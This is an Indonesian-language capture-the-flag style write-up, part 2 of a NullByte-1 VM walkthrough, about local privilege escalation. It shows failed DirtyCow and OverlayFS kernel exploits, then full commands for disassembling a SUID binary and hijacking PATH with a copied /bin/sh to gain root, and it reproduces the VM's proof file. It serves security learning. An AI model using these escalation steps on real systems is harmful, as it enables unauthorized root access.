[Pentest Series] NullByte-1 Part-2

Habibie Faried
Sadulur
Published in
4 min readFeb 23, 2017

Halo kembali lagi bersama gw Habibie. Kita langsungkan saja untuk eksekusi mencari bug privilege escalation dengan linuxprivchecker.py

[!] Pastikan kamu sudah baca writeup sebelumnya

Analisis isi dari Sistem Operasi

Jalankan linuxprivchecker.py

$ python linuxprivchecker.py > result.txt
www-data@NullByte:/var/www/html/uploads$

Setelah hasilnya dibaca, dapat ditarik kesimpulan sementara bahwa kelemahannya terdapat pada versi kernel. Untuk itu kita langsungkan saja hajar dengan exploit overlayFS kernel dan dirty cow

DirtyCow Exploit

Karena ini kernel tua, langsung aja coba jalanin salah satu exploit DirtyCow disini (https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs)

Kebetulan ada gcc disini, download compile dan jalankan

Oops, VMnya crash

Oke, not recommended karena ujung2nya crash dan saya harus reboot VM tersebut xD

OverlayFS Exploit

Ini merupakan exploit yang common untuk kernel 3.16. Referensi mengenai exploit ini terdapat pada link ini (https://www.kernel-exploits.com/exploit/overlayfs/)

Disini saya menggunakan versi 32bit dan 64bit. Langkah yang sama

$ gcc ofs_64.c -o ./ofs_64
$ ./ofs_64
spawning threads
failed to create new user namespace
failed to create new mount namespace
child threads done
exploit failed
$ gcc ofs_32.c -o ./ofs32
$ ./ofs32
spawning threads
failed to create new user namespace
failed to create new mount namespace
child threads done
exploit failed

Yap, sama-sama failed.

Untuk sementara, operasi kernel sepertinya tidak dapat dilakukan. Lanjut membaca baris linuxprivchecker selanjutnya

Root SUID File

Disini saya menemukan informasi menarik pada bagian SUID/SGID files

-rwsr-xr-x 1 root root 4932 Aug  2  2015 /var/www/backup/procwatch

Yaudah kita jalankan saja kalau begitu

$ ./procwatch
PID TTY TIME CMD
1 ? 00:00:00 systemd
2 ? 00:00:00 kthreadd
3 ? 00:00:00 ksoftirqd/0
5 ? 00:00:00 kworker/0:0H
6 ? 00:00:00 kworker/u2:0
7 ? 00:00:00 rcu_sched
8 ? 00:00:00 rcu_bh
9 ? 00:00:00 migration/0
10 ? 00:00:00 watchdog/0

Kok ini lucu, sepertinya dia memanggil perintah ps

Selanjutkan kita lakukan objdump -D procwatch. Buka pada fungsi main terlebih dahu

080483fb <main>:
80483fb: 8d 4c 24 04 lea 0x4(%esp),%ecx
80483ff: 83 e4 f0 and $0xfffffff0,%esp
8048402: ff 71 fc pushl -0x4(%ecx)
8048405: 55 push %ebp
8048406: 89 e5 mov %esp,%ebp
8048408: 51 push %ecx
8048409: 83 ec 44 sub $0x44,%esp
804840c: 8d 45 c6 lea -0x3a(%ebp),%eax
804840f: 66 c7 00 70 73 movw $0x7370,(%eax)
8048414: c6 40 02 00 movb $0x0,0x2(%eax)
8048418: 83 ec 0c sub $0xc,%esp
804841b: 8d 45 c6 lea -0x3a(%ebp),%eax
804841e: 50 push %eax
804841f: e8 ac fe ff ff call 80482d0 <system@plt>
8048424: 83 c4 10 add $0x10,%esp
8048427: b8 00 00 00 00 mov $0x0,%eax
804842c: 8b 4d fc mov -0x4(%ebp),%ecx
804842f: c9 leave
8048430: 8d 61 fc lea -0x4(%ecx),%esp
8048433: c3 ret
8048434: 66 90 xchg %ax,%ax
8048436: 66 90 xchg %ax,%ax
8048438: 66 90 xchg %ax,%ax
804843a: 66 90 xchg %ax,%ax
804843c: 66 90 xchg %ax,%ax
804843e: 66 90 xchg %ax,%ax

Ada line yang menjalankan system(“<something>”). Dimana “something” merupakan string yang di pass sebagai parameter. Dugaan pertama adalah pada instruksi movw dari value heksa $0x7370 ke %eax, dimana %eax sudah sangat biasa digunakan untuk melakukan parameter passing

kalau kamu konversi ke ASCII, 7370 secara berurutan merupakan sp. Dan pada sistem little endian, kamu harus baca dari yang belakang. Sehingga benar bahwa terpanggil fungsi system(“ps”)

Exploiting Bug

Intinya adalah bagaimana caranya system call “ps” itu dipanggil ke file selain /bin/ps. Dimana file tersebut merupakan file shell buatan kamu

Sebelum kamu melakukan exploitasi, pastikan bahwa kamu sudah menyimpan path sebelumnya

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Selanjutnya, kamu copy /bin/sh ke /tmp/ps dimana /tmp akan menjadi target path kamu untuk system call “ps”

$ cp /bin/sh /tmp/ps
$ chmod +x /tmp/ps
$ /tmp/ps
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
exit
$

Setelah shell juga sudah siap, lakukan manipulasi path dan jalankan procwatch

$ export PATH=/tmp
$ ./procwatch
id
ps: 1: id: not found
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)

Yup, Effective User ID kamu sudah root karena pemanggilan shell oleh system call yang sudah diberi SUID bit.

Sekarang masuk ke dalam shell

python -c "import pty; pty.spawn('/bin/sh');"
# iidd
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# ss^^?^?llss --llaahh //rroooott
total 32K
drwx------ 4 root root 4.0K Aug 2 2015 .
drwxr-xr-x 21 root root 4.0K Aug 1 2015 ..
drwx------ 2 root root 4.0K Aug 2 2015 .aptitude
-rw------- 1 root root 2.4K Aug 2 2015 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 140 Nov 20 2007 .profile
drwx------ 2 root root 4.0K Aug 2 2015 .ssh
-rw-r--r-- 1 root root 1.2K Aug 2 2015 proof.txt

Coba ah lihat pesan proof.txt

# ccaatt  //rroooott//pprrooooff..ttxxttadf11c7a9e6523e630aaf3b9b7acb51dIt seems that you have pwned the box, congrats. 
Now you done that I wanna talk with you. Write a walk & mail at
xly0n@sigaint.org attach the walk and proof.txt
If sigaint.org is down you may mail at nbsly0n@gmail.com
USE THIS PGP PUBLIC KEY-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: BCPG C# v1.6.1.0
mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ
Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT
e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq
Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK
+z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe
YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu
Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS
HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q
m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn
XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58
kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8
TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU
Gms=
=PiAQ
-----END PGP PUBLIC KEY BLOCK-----
#

Done!

Epilogue

Terus terang aja sih, ini VM cukup mudah untuk dieksploitasi. Cuman ya itu tadi malesin karena kamu harus bruteforce ketika di halaman key pada writeup part 1.

Hmm, baiklah kalau begitu. Sampai jumpa pada kesempatan berikutnya!

Jangan lupa share artikel ini ke teman kamu yang sedang belajar hacking juga

Habibie Faried
habibiefaried@gmail.com
@habibiefaried
CISSP & OSC* Wanna Be

--

--